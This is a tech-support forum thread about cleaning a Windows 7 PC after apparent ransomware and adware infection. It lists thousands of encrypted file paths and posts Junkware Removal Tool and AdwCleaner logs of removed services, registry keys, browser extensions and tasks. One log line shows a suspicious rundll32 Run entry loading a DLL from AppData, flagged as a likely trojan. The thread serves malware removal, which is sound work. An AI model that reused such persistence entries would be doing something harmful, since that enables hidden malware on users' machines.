D:\fulltilt\xc\roulette\wheel\anim\wheel0042.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0043.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0044.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0045.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0046.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0047.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0048.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0049.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0050.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0051.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0052.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0053.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0054.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0055.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0056.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0057.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0058.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0059.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0060.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0061.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0062.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0063.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0064.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0065.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0066.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0067.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0068.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0069.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0070.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0071.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0072.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0073.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0074.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0075.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0076.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0077.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0078.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0079.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0080.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0081.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0082.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0083.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0084.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0085.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0086.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0087.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0088.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0089.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0090.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0091.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0092.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0093.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0094.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0095.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0096.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0097.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0098.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0099.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0100.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0101.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0102.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0103.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0104.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0105.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0106.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0107.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0108.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0109.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0110.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0111.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0112.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0113.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0114.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0115.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0116.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0117.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0118.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0119.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0120.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0121.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0122.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0123.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0124.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0125.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0126.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0127.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0128.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0129.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0130.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0131.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0132.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0133.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0134.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0135.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0136.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0137.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0138.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0139.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0140.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0141.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0142.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0143.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0144.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0145.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0146.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0147.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0148.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0149.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0150.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0151.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0152.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0153.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0154.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0155.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0156.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0157.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0158.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0159.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0160.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0161.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0162.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0163.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0164.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0165.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0166.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0167.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0168.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0169.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0170.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0171.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0172.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0173.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0174.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0175.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0176.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0177.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0178.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0179.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0180.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0181.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0182.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0183.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0184.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0185.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0186.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0187.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0188.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0189.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0190.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0191.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0192.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0193.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0194.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0195.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0196.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0197.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0198.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0199.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0200.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0201.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0202.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0203.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0204.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0205.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0206.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0207.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0208.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0209.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0210.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0211.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0212.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0213.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0214.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0215.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0216.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0217.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0218.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0219.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0220.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0221.jpg
D:\fulltilt\xc\roulette\wheel\anim\wheel0222.jpg

7784 encrypted files found.

Program finished at: 03/08/2015 03:17:31 PM
Execution time: 0 hours(s), 0 minute(s), and 59 seconds(s)


----------



## JSntgRvr (Jul 1, 2003)

7,784 encrypted files found. Do you want these files removed from the computer?


----------



## timmy12342 (Mar 7, 2015)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Junkware Removal Tool (JRT) by Thisisu
Version: 6.4.3 (03.01.2015:1)
OS: Windows 7 Ultimate x86
Ran by Tim on Sun 03/08/2015 at 19:36:34.38
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~ Services

Successfully stopped: [Service] qknfd 
Successfully deleted: [Service] qknfd 
Successfully stopped: [Service] update mega browse 
Successfully deleted: [Service] update mega browse

~~~ Registry Values

Successfully deleted: [Registry Value] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\\browsersafeguard
Successfully deleted: [Registry Value] HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\\driver support
Successfully repaired: [Registry Value] HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\\Start Page
Suspicious HKCU\..\Run entries found. Trojan:JS/Medfos.B?

Value Name Type Value Data 
========================================================================================
BluetoothS REG_EXPAND_SZ rundll32.exe "%appdata%\BtvStack.dll",BTHF_Register

~~~ Registry Keys

Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog\Application\update mega browse
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\taskeng_RASAPI32
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\taskeng_RASMANCS
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\taskhost_RASAPI32
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\taskhost_RASMANCS
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\UpdateTask_RASAPI32
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\UpdateTask_RASMANCS
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\DealKeeper_RASAPI32
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\DealKeeper_RASMANCS
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\DealKeeper_Setup_RASAPI32
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\DealKeeper_Setup_RASMANCS
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\deal_keeper_installer_v3_RASAPI32
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\deal_keeper_installer_v3_RASMANCS
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\updateDealKeeper_RASAPI32
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\updateDealKeeper_RASMANCS
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\utilDealKeeper_RASAPI32
Successfully deleted: [Registry Key] HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\utilDealKeeper_RASMANCS

~~~ Files

Successfully deleted: [File] C:\Windows\System32\Tasks\Optimizer Pro Schedule
Successfully deleted: [File] C:\Windows\System32\Tasks\Driver Support-RTMRules
Successfully deleted: [File] C:\Windows\System32\Tasks\Driver Support-RTMScan
Successfully deleted: [File] C:\Windows\System32\Tasks\Driver Support-RTMUpdater

~~~ Folders

Successfully deleted: [Folder] C:\ProgramData\NextCoUUp
Successfully deleted: [Folder] C:\ProgramData\save Net
Successfully deleted: [Folder] C:\ProgramData\YoutubeAdblocker
Successfully deleted: [Folder] "C:\ProgramData\driver support"
Successfully deleted: [Folder] "C:\Users\Tim\AppData\Roaming\systweak"
Successfully deleted: [Folder] "C:\Users\Tim\appdata\locallow\mysearchdial"
Successfully deleted: [Folder] "C:\Users\Tim\Local Settings\Application Data\browsersafeguard"
Successfully deleted: [Folder] "C:\Users\Tim\Local Settings\Application Data\pc_drivers_headquarters"
Successfully deleted: [Folder] "C:\Users\Tim\Local Settings\Application Data\torch"
Successfully deleted: [Folder] "C:\Program Files\driver support"
Successfully deleted: [Folder] "C:\Program Files\optimizer pro"
Successfully deleted: [Folder] "C:\Program Files\youtubeadblocker"
Successfully deleted: [Folder] "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\driver support"

~~~ FireFox

Successfully deleted: [File] C:\Users\Tim\AppData\Roaming\mozilla\firefox\profiles\0msqv599.default\user.js
Successfully deleted: [File] C:\Users\Tim\AppData\Roaming\mozilla\firefox\profiles\0msqv599.default\searchplugins\search.xml
Emptied folder: C:\Users\Tim\AppData\Roaming\mozilla\firefox\profiles\0msqv599.default\minidumps [5 files]

~~~ Event Viewer Logs were cleared

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Scan was completed on Sun 03/08/2015 at 19:41:14.59
End of JRT log
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


----------



## timmy12342 (Mar 7, 2015)

yes removes is fine


----------



## timmy12342 (Mar 7, 2015)

actually i would like to keep these files "C:\Users\Tim\Music\" but thats all


----------



## timmy12342 (Mar 7, 2015)

# AdwCleaner v4.111 - Logfile created 08/03/2015 at 20:03:06
# Updated 18/02/2015 by Xplode
# Database : 2015-03-05.1 [Server]
# Operating system : Windows 7 Ultimate (x86)
# Username : Tim - TIM-PC
# Running from : C:\Users\Tim\Downloads\adwcleaner_4.111.exe
# Option : Cleaning

***** [ Services ] *****

Service Deleted : {55dce8ba-9dec-4013-937e-adbf9317d990}Gw

***** [ Files / Folders ] *****

Folder Deleted : C:\ProgramData\2308189059
Folder Deleted : C:\ProgramData\Rightapp software
Folder Deleted : C:\ProgramData\9dd32ba1cd83a16b
Folder Deleted : C:\Program Files\NextCoUUp
Folder Deleted : C:\Program Files\save Net
Folder Deleted : C:\Users\Tim\AppData\Local\Temp\Mega Browse
Folder Deleted : C:\Users\Tim\AppData\Local\Temp\Deal Keeper
Folder Deleted : C:\Users\Administrator\AppData\Local\torch
Folder Deleted : C:\Users\Guest\AppData\Local\torch
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\torch
Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\Tim\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\Tim\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\Administrator\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\Guest\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\Tim\AppData\Local\Comodo\Dragon\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\Tim\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\flogpfmjdekjoilcnmmchanikomlidie
Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\Tim\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bbbbbjpekgjhkjgijnggoelipkbbjdaa
Folder Deleted : C:\Users\Administrator\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\Guest\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\HomeGroupUser$\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
Folder Deleted : C:\Users\Tim\AppData\Local\Google\Chrome SxS\User Data\Default\Extensions\bbkkkiikepjmcpciakcojbfhfleffbnh
File Deleted : C:\END
File Deleted : C:\Windows\system32\roboot.exe
File Deleted : C:\Windows\system32\drivers\{55dce8ba-9dec-4013-937e-adbf9317d990}Gw.sys
File Deleted : C:\Users\Tim\AppData\Local\Temp\Uninstall.exe

***** [ Scheduled tasks ] *****

Task Deleted : Driver Support-RTMRules
Task Deleted : Driver Support-RTMScan
Task Deleted : Driver Support-RTMUpdater
Task Deleted : Optimizer Pro Schedule

***** [ Shortcuts ] *****

***** [ Registry ] *****

Key Deleted : HKLM\SOFTWARE\Classes\AppID\esrv.EXE
Key Deleted : HKLM\SOFTWARE\Classes\esrv.mysearchdialesrvc
Key Deleted : HKLM\SOFTWARE\Classes\esrv.mysearchdialesrvc.1
Key Deleted : HKCU\Software\AppDataLow\{5F189DF5-2D05-472B-9091-84D9848AE48B}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\S-760470086
Key Deleted : HKLM\SOFTWARE\Classes\AppID\{C292AD0A-C11F-479B-B8DB-743E72D283B0}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{1AA60054-57D9-4F99-9A55-D0FBFBE7ECD3}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{5A4E3A41-FA55-4BDA-AED7-CEBE6E7BCB52}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{6D4506CE-F855-4657-AA38-DB6B1F733982}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{D40753C7-8A59-4C1F-BE88-C300F4624D5B}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{459DD0F7-0D55-D3DC-67BC-E6BE37E9D762}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{3408AC0D-510E-4808-8F7B-6B70B1F88534}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{4E6354DE-9115-4AEE-BD21-C46C3E8A49DB}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{FC073BDA-C115-4A1D-9DF9-9B5C461482E5}
Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{03771AEF-400D-4A13-B712-25878EC4A3F5}
Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{A2D733A7-73B0-4C6B-B0C7-06A432950B66}
Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{C292AD0A-C11F-479B-B8DB-743E72D283B0}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{3004627E-F8E9-4E8B-909D-316753CBA923}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{323C6E6D-1621-470F-8A52-4FDEC4E75E40}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{4E6CD411-CE62-4584-97FF-6AFBCF6900AF}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{EF5625A3-37AB-4BDB-9875-2A3D91CD0DFD}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{59A062A1-5ECA-4A1A-BC44-B2A9283A8ACB}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{3004627E-F8E9-4E8B-909D-316753CBA923}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{323C6E6D-1621-470F-8A52-4FDEC4E75E40}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{4E6CD411-CE62-4584-97FF-6AFBCF6900AF}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{EF5625A3-37AB-4BDB-9875-2A3D91CD0DFD}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{59A062A1-5ECA-4A1A-BC44-B2A9283A8ACB}
Key Deleted : HKCU\Software\Conduit
Key Deleted : HKCU\Software\InstallCore
Key Deleted : HKCU\Software\Optimizer Pro
Key Deleted : HKCU\Software\SearchProtectINT
Key Deleted : HKCU\Software\systweak
Key Deleted : HKCU\Software\DriverSupport
Key Deleted : HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}
Key Deleted : HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}
Key Deleted : HKLM\SOFTWARE\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}
Key Deleted : HKLM\SOFTWARE\{5F189DF5-2D05-472B-9091-84D9848AE48B}
Key Deleted : HKLM\SOFTWARE\{6791A2F3-FC80-475C-A002-C014AF797E9C}
Key Deleted : HKLM\SOFTWARE\{77D46E27-0E41-4478-87A6-AABE6FBCF252}
Key Deleted : HKLM\SOFTWARE\InstallIQ
Key Deleted : HKLM\SOFTWARE\mysearchdial
Key Deleted : HKLM\SOFTWARE\systweak
Key Deleted : HKLM\SOFTWARE\Quiknowledge
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4820778D-AB0D-6D18-C316-52A6A0E1D507}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7DD5E91C-3864-77EC-7635-D14910C2A03E}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{597FB4A5-DD86-4316-A410-7E8074CC2CCE}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3D0F43D9-C1D7-733C-01F8-4A3001BF8CC3}

***** [ Web browsers ] *****

-\\ Internet Explorer v8.0.7600.16385

-\\ Mozilla Firefox v36.0.1 (x86 en-US)

-\\ Google Chrome v

-\\ Comodo Dragon v

-\\ Chrome Canary v

*************************

AdwCleaner[R0].txt - [10006 bytes] - [08/03/2015 19:53:52]
AdwCleaner[S0].txt - [10061 bytes] - [08/03/2015 20:03:06]

########## EOF - C:\AdwCleaner\AdwCleaner[S0].txt - [10121 bytes] ##########


----------



## JSntgRvr (Jul 1, 2003)

Once you are finished with the scans, we will.


